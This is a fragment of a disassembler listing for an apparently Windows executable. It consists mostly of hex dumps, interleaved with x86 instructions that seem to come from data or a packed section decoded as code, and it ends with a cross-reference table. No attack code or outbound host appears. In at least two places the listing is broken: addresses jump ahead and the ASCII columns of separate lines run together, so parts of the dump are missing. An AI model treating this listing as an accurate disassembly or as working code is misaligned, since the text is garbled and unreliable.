:00405DF7 5F E9 37 B1 B8 3E D3 C0 E9 24 A8 3D 70 8D 9D D3   _.7..>...$.=p...
:00405E07 56 AD 32 92 3C CC AB C7 A6 C9 4B 7E B5 22 62 E7   V.2.<.....K~."b.
:00405E17 A0 6A 85 81 E8 FD F4 96 67 A7 E8 2E 70            .j......g...p

:00405E24 C3                      ret

:00405E25 87 6C 9B 7D 36 0D 53 D7 5F 09 98 0B F6 B2 37 3E   .l.}6.S._.....7>
:00405E35 80 8F 78 45 76 35 02 9C 20 05 2D 70 BD EC 03 A4   ..xEv5.. .-p....
:00405E45 72 B0 59 62 AE FC 22 D9 AE CC 74 2A 2A F5 05 91   r.Yb.."...t**...
:00405E55 CA 81 73 87 C1 B6 EC E8 55 D5 96 7C D6 7B 9E 8B   ..s.....U..|.{..
:00405E65 31 34 5D C4 FA 56 D8 57 BE 7D 85 FD 81 03 40 D0   14]..V.W.}....@.
:00405E75 0C 6B 91 5D 70 17 BB BD F0 DC 19 95 0C E4 E8 D7   .k.]p...........
:00405E85 90 1F 3E 45 3C 53 77 EA EE B1 79 0D CF 07 97 77   ..>E2.W.
:00405F08 EF 5A 96 05 9A 8C D8 E7 3B FA 67 7C               .Z......;.g|

:00405F14 C3                      ret

:00405F15 B9 F3 E5 A9 4F 2A C6 6C 8F A7 3F 8C 16 16 2A 59   ....O*.l..?...*Y
:00405F25 80 B7 7F 71 1C 12 1C 62 4A FA 20 E9 4B 26 09 40   ...q...bJ. .K&.@
:00405F35 6D EB 38 1D DA BA D9 E8 4E 41 50 EC 25 B6 18 75   m.8.....NAP.%..u
:00405F45 0D AA 09 B1 2C A0 88 D5 2C 82 A2 42 99 1C 82 49   ....,...,..B...I
:00405F55 4E 1E 3D AA B7 C4 60 D2                           N.=...`.

:00405F5D B341                    mov bl, 41
:00405F5F 92                      xchg eax, edx
:00405F60 FC                      cld
:00405F61 3B5E8F                  cmp ebx, dword[esi-71]
:00405F64 A3F450E1E3              mov dword[E3E150F4], eax
:00405F69 16                      push ss
:00405F6A 8B702D                  mov esi, dword[eax+2D]
:00405F6D EC                      in al, port[dx]
:00405F6E 2917                    sub dword[edi], edx
:00405F70 D921                    fldenv 14/28byte[ecx]
:00405F72 A6                      cmpsb
:00405F73 C2AA89                  ret 89AA

:00405F76 88 B7 F4 14 7D 0A F0 23 4B B8 B9 8E E9 A4 9F 4D   ....}..#K......M
:00405F86 7C 85 A0 B5 F0 6D 43 73 7F 43 A5 1C B0 0E 48 F0   |....mCs.C....H.
:00405F96 3A 2A C5 A8 6F F6                                 :*..o.

:00405F9C C3                      ret

:00405F9D 8C F1 F6 1B 66 4F 2B 8C AC 3F 78 DF F3 35         ....fO+..?x..5

:00405FAB C26FA9                  ret A96F

:00405FAE B1 57 34 41 01 4E AC 89 BD 34 6C A6 D2 6D 27 6A   .W4A.N...4l..m'j
:00405FBE 83 76 20 2B BF D7 A3 DA 9E 10 89 BB 69 6B E3 A4   .v +........ik..
:00405FCE FB 9A 2D B1 AD 26 31 2B 2E 50 1F 89 1F 96 AE 6E   ..-..&1+.P.....n
:00405FDE 68 23 12 89 AE ED F3 EE 1F B1 D6 43 13 6D B6 C4   h#.........C.m..
:00405FEE 7A EA 09 22 87 61 7C A6 85 4B 38 E8 EA            z..".a|..K8..

:00405FFB B326                    mov bl, 26
:00405FFD 2E35DC67364E            xor eax, 4E3667DC
:00406003 67CE                    into
:00406005 C602F1                  mov byte[edx], -0F
:00406008 85A3CC2063AA            test dword[ebx+AA6320CC], esp
:0040600E 7E53                    jle 00406063
:00406010 02AD9C0F2586            add ch, byte[ebp+86250F9C]
:00406016 682BD1FF56              push 56FFD12B
:0040601B 9E                      sahf
:0040601C 0A926BA39F8B            or dl, byte[edx+8B9FA36B]
:00406022 A2EFF837CA              mov byte[CA37F8EF], al
:00406027 CF                      iretd
:00406028 8F01                    pop dword[ecx]
:0040602A 2AEA                    sub ch, dl
:0040602C F4                      hlt
:0040602D 67383B                  cmp byte[bp+di], bh
:00406030 314B84                  xor dword[ebx-7C], ecx
:00406033 F0                      lock
:00406034 FC                      cld
:00406035 89AF7E94A4FD            mov dword[edi+FDA4947E], ebp
:0040603B 110CDC                  adc dword[esp+8*ebx], ecx
:0040603E 0599F075A3              add eax, A375F099
:00406043 CA9FA9                  ret A99F

:00406046 D7 1B 51 D5 EC 64 05 32 93 74 F2 30 98 22 01 D5   ..Q..d.2.t.0."..
:00406056 9E 39 C9 00 01 36 03 79 5D 47 34 FE CE 88 FC E5   .9...6.y]G4.....
:00406066 5C 07 11 95 EB 1A F4 E8 97 9F 8E 09 E6 7E 46 FC   \............~F.
:00406076 33 1E 68 98 A1 DD EB 1A 9A F7 C7 79               3.h........y

:00406082 FF6630                  jmp dword[esi+30]

:00406085 CF 66 CE 0D 0E 4D CF FC 1C 00 C8 C8 B1 E8 16 F6   .f...M..........
:00406095 97 E2 E7 D5 5A 00 65 6B 92 11 DE 5C F2 7B 08 91   ....Z.ek...\.{..
:004060A5 A6 64 42 65 C0 CF 2D 4E C8 9A 43 0B 70 60 6C 17   .dBe..-N..C.p`l.
:004060B5 74 50 0E B7 D5 CB 0F 81 F5 1A 44 C9 46 45 A0 08   tP........D.FE..
:004060C5 D3 DC CC 71 69 04 31 C7 23 77 F5 2E 6D 7B A1 7B   ...qi.1.#w..m{.{
:004060D5 65 3B                                             e;

:004060D7 C3                      ret

:004060D8 E7 C1 92 3A 67 D0 B9 FE 53 5B 7A DE D9 C5 37 D7   ...:g...S[z...7.
:004060E8 AE 9E A6 15 7E CC 39 47 69 AD 84 4C CD 30 AA FD   ....~.9Gi..L.0..
:004060F8 D3 1A 70 B1 0E B5 BB F2 D7 99 EE 8D DE C8 A6 FD   ..p.............
:00406108 2E D7 7B 55 D4 70 F0 4C 7B 97 C8                  ..{U.p.L{..

---------
:00406113 8BB558E9D403            mov esi, dword[ebp+03D4E958]
:00406119 866370                  xchg byte[ebx+70], ah
:0040611C 55                      push ebp
:0040611D 814DF13B9F5F56          or dword[ebp-0F], 565F9F3B
:00406124 F5                      cmc
:00406125 8585D5920A28            test dword[ebp+280A92D5], eax
:0040612B C27D73                  ret 737D

:0040612E 18 A2 57 4E 9D EB 87 00 D2 0A CC 61 97 C7 7F 78   ..WN.......a...x
:0040613E 41 76 5F 07 64 DE 23 A2 3F F0 EB 67 62 19 5F 3B   Av_.d.#.?..gb._;
:0040614E BA 4D 5D AC C3 AD 3F 4F 20 C0 6D C8 E3 30 15 4E   .M]...?O .m..0.N
:0040615E B6 B6 E8 6E 74 63 12 F6 FE BE A0 DF 35 D2 00 82   ...ntc......5...
:0040616E FC 7A E0 5D B5 68 4F 29 73 97 CF 08 B8 72 98 F0   .z.].hO)s....r..
:0040617E CF 7C 5A B3 04 B1 F6 60 3E 60 E7 EF BC E9 BF 14   .|Z....`>`......
:0040618E 4C E9 30 1B 16 E3 22 E2 47 72 01 70 F3 FB 78 1E   L.0...".Gr.p..x.
:0040619E D7 C6 95 D8 88 14 79 DD 03 53 2F 21 9D BE A8 1A   ......y..S/!....
:004061AE 30 25 EB B0 4E 6D DB 09 0E 9C 9C 61 D4 9C 5B 98   0%..Nm.....a..[.
:004061BE 8F 64 16 1E 6E DD 2E AB 17 F1 6C 29 83 A0 E2 E2   .d..n.....l)....
:004061CE 36 2E E0 E3 5A D0 67 C5 0F A5 F1 83 D7            6...Z.g......

---------
:004061DB 3229                    xor ch, byte[ecx]
:004061DD A4                      movsb
:004061DE A4                      movsb
:004061DF C3                      ret

:004061E0 4F 27 5F FF F1 28 12 93 E8 61 61 2C C0 8D 10 40   O'_..(...aa,...@
:004061F0 B2 C4 7C 87 CE E4 DE 8A E3 C0 FC EE 64 AE 50 2E   ..|.........d.P.
:00406200 79 39 7F B4 11 EA 31 30 85 B2 E5 CC AD 41 BC 34   y9....10.....A.4
:00406210 FD DE BA 90 78 FE 53 02 EB 2E 7D C6 1B 08 EF A0   ....x.S...}.....
:00406220 4E 56 E3 76 FB FA FB CE BD 48 30 74 4E 34 B1 9D   NV.v.....H0tN4..
:00406230 9D 99 2F D5 B1 B7 0E 5A F3 2E 2B BF 91 AE 7F 89   ../....Z..+.....
:00406240 F2 F3 45 22 D7 05 69 AD CC EE D8 E3 54 F5 BB 91   ..E"..i.....T...
:00406250 44 78 B2 CB A2 B9 32 00 BD A9 51 8A F0 F8 16 20   Dx....2...Q.... 
:00406260 9C ED D6 EB 53 C7 B7 E4 35 10 32 10 15 7F 2F F3   ....S...5.2.../.
:00406270 21 59 9A 22 F8 22 9F 50 D8 21 82 EF 12 DF 61 15   !Y.".".P.!....a.
:00406280 A8 86 9D DC BE 70 59 F3 6A D6 0E 15 58 05 4F 21   .....pY.j...X.O!
:00406290 F0 76 1F 18 2F EC B8 09 9F F5 EA BF 1B 6D 38 25   .v../........m8%
:004062A0 A6 18 7B 27 3B 3F EA 4F 55 4D 43 76 5A 5F 2E 4E   ..{';?.OUMCvZ_.N
:004062B0 FA 3E 3C 44 4C 1A CE 87 00 D6 66 CA 98 E1 E1 1C   .>-...l......9
:004063C0 3C C1 53 E2 D0 53 F1 F0 C6 5D E6 6A 90 80 7A DD   <.S..S...].j..z.
:004063D0 9A E8 E0 41 71 C7 BF EF 00 FE B0 0D AC 7B 5E A4   ...Aq........{^.
:004063E0 43 09 59 08 80 06 A7 CF 1E FC FB F9 30 21 37 05   C.Y.........0!7.
:004063F0 BD 1D 76 6E CB 13 30 A8 88 74 F2 56 FA 8B 7B B9   ..vn..0..t.V..{.
:00406400 EE E8 A2 A2 1C 8D BD FE 80 D6 56 3A C7 AC 45 6B   ..........V:..Ek
:00406410 1D 8B 78 AC 89 F1 14 CF BA C2 8F 19 56 9E C4 59   ..x.........V..Y
:00406420 BA 4F BC 70 AB C0 DE E2 53 64 17 EC 43 4D C5 96   .O.p....Sd..CM..
:00406430 F6 49 E7 CC 1E 00 D3 7E 7F 3B C8 5F FF 34 86 AC   .I.....~.;._.4..
:00406440 6D E9 14                                          m..

:00406443 33AA3A39EF1B            xor ebp, dword[edx+1BEF393A]
:00406449 114D37                  adc dword[ebp+37], ecx
:0040644C B534                    mov ch, 34
:0040644E B8323F6FF6              mov eax, F66F3F32
:00406453 7132                    jno 00406487
:00406455 638A3FE2F2AF            arpl word[edx+AFF2E23F], cx
:0040645B B4AA                    mov ah, -56
:0040645D F9                      stc
:0040645E B7E3                    mov bh, -1D
:00406460 B466                    mov ah, 66
:00406462 9B                      wait
:00406463 B3CA                    mov bl, -36
:00406465 B028                    mov al, 28
:00406467 298AAB533C5D            sub dword[edx+5D3C53AB], ecx
:0040646D 7354                    jae 004064C3
:0040646F 6C                      ins byte, port[dx]
:00406470 DD39                    fnstsw 2byte[ecx]
:00406472 6F                      outs port[dx], dword
:00406473 D58C                    aad 
:00406475 2C77                    sub al, 77
:00406477 34C5                    xor al, -3B
:00406479 0BCA                    or ecx, edx
:0040647B 68EB709B88              push 889B70EB
:00406480 9A086FB3DB5F8A          call far 6F08:8A5FDBB3
---------
:00406487 E533                    in eax, port[33]
:00406489 A4                      movsb
:0040648A D581                    aad 
:0040648C 6E                      outs port[dx], byte
:0040648D 8C5F56                  mov dword[edi+56], ds
:00406490 0983695EFA14            or dword[ebx+14FA5E69], eax
:00406496 E291                    loop 00406429
:00406498 C204B1                  ret B104

:0040649B 31 6E 65 77 73 02 00 00 00 F0 0D 00 00            1news........

*************** Cross Reference Listing ****************
##00401000::004010F8,
--0040118D::00401245,
--0040152D::004012C9,004012DF,004012F2,
--0040152E::004012AB,
--00401535::00401293,
--00401559::0040127D,
--00401578::0040125D,
--0040158C::004011C1,
--00401597::0040116F,00401199,004011AD,
--004015B5::004010E5,004010FE,0040111D,
--004016D8::00401619,
##0040172B::004010C3,
##00401751::004010C9,
--0040177F::00401611,
--004017C5::0040162F,00401671,004013CD,
==00401842::00402E07,00402E1D,
==004018FD::00401139,00401208,004012D1,0040134E,00401383,004013D6,004014CF,
            00401647,0040171E,00401B85,00401BE4,00402208,004022EE,00402330,
            004023A1,0040280A,00402835,00402879,004028B7,004028F3,00402AF9,
            00402B2D,00402BD2,00402C28,00402D1C,00402F1A,00402F74,004030E6,
            0040315D,0040318A,004031D1,004032E6,0040333E,0040337F,00403493,
            004034AA,0040357E,00403681,004036DB,00403775,004037B3,00403875,
            004038D6,
==00401902::004018FD,
==0040198E::004010B3,0040170A,0040231B,00402352,
==00401ABD::00401224,00401765,00402B5D,00402C0F,004034DC,0040358D,004035FE,
            00403632,
==00401B46::00401AD9,00401AE2,00401AEB,00401AF5,00401B53,00401B5A,
==00401B50::00401B0B,00401B21,
==00401B52::00401B03,
==00401BCB::00401453,00401493,00401699,004016A1,004023C9,004025C0,0040276F,
            0040278F,00402949,0040295B,
==00401BFE::00403051,
==00401C64::00401C46,00401C51,
--00401CD8::00401E11,
--00401E10::00401D45,
==00401ED8::00401C27,00401CD1,
--00401EE5::00401F63,00401F77,00401F8B,00401F9F,00401FB3,00401FC7,00401FDB,
            00401FEF,00402003,00402017,0040202B,0040203F,00402053,00402067,
            0040207B,0040208F,004020A3,004020B7,004020C7,004020D7,004020E7,
            004020F7,00402107,00402117,00402125,
==00401EE8::00401D37,00401E09,
--00402130::00401EF5,00401F05,00401F15,00401F25,00401F35,00401F45,00401F55,
            00401F69,00401F7D,00401F91,00401FA5,00401FB9,00401FCD,00401FE1,
            00401FF5,00402009,0040201D,00402031,00402045,00402059,0040206D,
            00402081,00402095,004020A9,
==004021FB::004021EF,
--004023FB::004024B8,
--004024BD::00402406,
--004025B5::00402658,004025C7,
--00402667::00402550,0040257F,
==0040278D::0040274F,00402757,00402762,00402768,
--004027A3::00402515,
--00402803::004024F2,
==00402878::00402F6A,004031C7,00402455,00402C89,004032FC,
==004029CB::00402989,
==00402A21::004029EB,
==00402A6F::00402A3B,
==00402ADB::00402A84,
==00402BA4::004029CC,00402A22,00402A2B,00402A70,00402A7F,00402ADC,00402AEB,
            00402BBF,
==00402BAD::004029DF,00402A36,00402B11,
==00402BB3::004029D1,00402785,0040289A,00402934,00402F2C,004036C2,
--00402C5E::00402DA2,
==00402CB7::00402CA7,
==00402E54::00402E36,00402ECB,00402ED3,
==00402F0F::00402E70,00403301,
--004030C5::00402FB8,
--00403142::00402FA9,00402FD9,00402FF0,00403011,0040301D,004030A4,004030AD,
            004030B6,004030BF,
==00403147::004024D7,00402526,00403128,004027E6,004027F2,004027FE,
==00403180::004023DA,004038A9,00403183,00402830,00402850,00402869,00402C17,
==004032CF::004023F1,004024AC,
==0040333D::00403557,004036AA,
==0040335C::0040334A,0040338B,
==00403371::00403352,00403393,00403696,
==004033F2::004033A9,
==00403444::00403402,0040341D,0040342C,
==0040344F::00403444,
==00403456::00403449,
==00403462::00403407,00403422,
==0040346F::0040340C,
--0040351C::004036CF,
==00403674::00403625,
==0040367B::0040359D,004035B3,004035DA,00403610,0040365E,
--004036BB::0040350D,
--004036D4::00403647,
--004036D5::0040355C,
--004036DB::0040353C,
--004036E6::004034B8,0040376C,00402B78,00402EDB,004027CC,
*************** END OF LISTING **********************************